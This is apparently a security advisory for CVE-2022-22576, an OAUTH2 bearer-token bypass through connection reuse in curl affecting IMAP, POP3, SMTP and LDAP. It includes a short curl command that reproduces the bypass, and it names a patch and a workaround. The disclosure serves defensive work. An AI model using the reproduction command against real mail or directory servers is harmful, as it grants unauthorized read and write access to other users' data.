CVE-2022-22576: OAUTH2 bearer bypass in connection re-use

## Summary: A cached connection authenticated with the OAUTH2 mechanisms can be reused by a subsequent request even if the bearer is not correct. This affects SASL-enabled protcols: SMPTP(S), IMAP(S), POP3(S) and LDAP(S) (openldap only). An application that can be accessed by more than one user (such as a webmail server) would be affected by this flaw. ## Steps To Reproduce: `curl 'imap://server:port/path/;MAILINDEX=1' --login-options 'AUTH=OAUTHBEARER' -u user: --oauth2-bearer validbearer --next 'imap://server:port/path/;MAILINDEX=1' --login-options 'AUTH=OAUTHBEARER' -u user: --oauth2-bearer anything` ## Supporting Material/References: * Patch 0001-url-check-sasl-additional-parameters-for-connection-.patch fixes this flaw. As an alternative to apply the patch, use another (unused) password within each request: the second request in the command below will properly fail. `curl 'imap://server:port/path/;MAILINDEX=1' --login-options 'AUTH=OAUTHBEARER' -u user:dummy1 --oauth2-bearer validbearer --next 'imap://server:port/path/;MAILINDEX=1' --login-options 'AUTH=OAUTHBEARER' -u user:dummy2 --oauth2-bearer anything` ## Impact Access (read/write) unauthorized data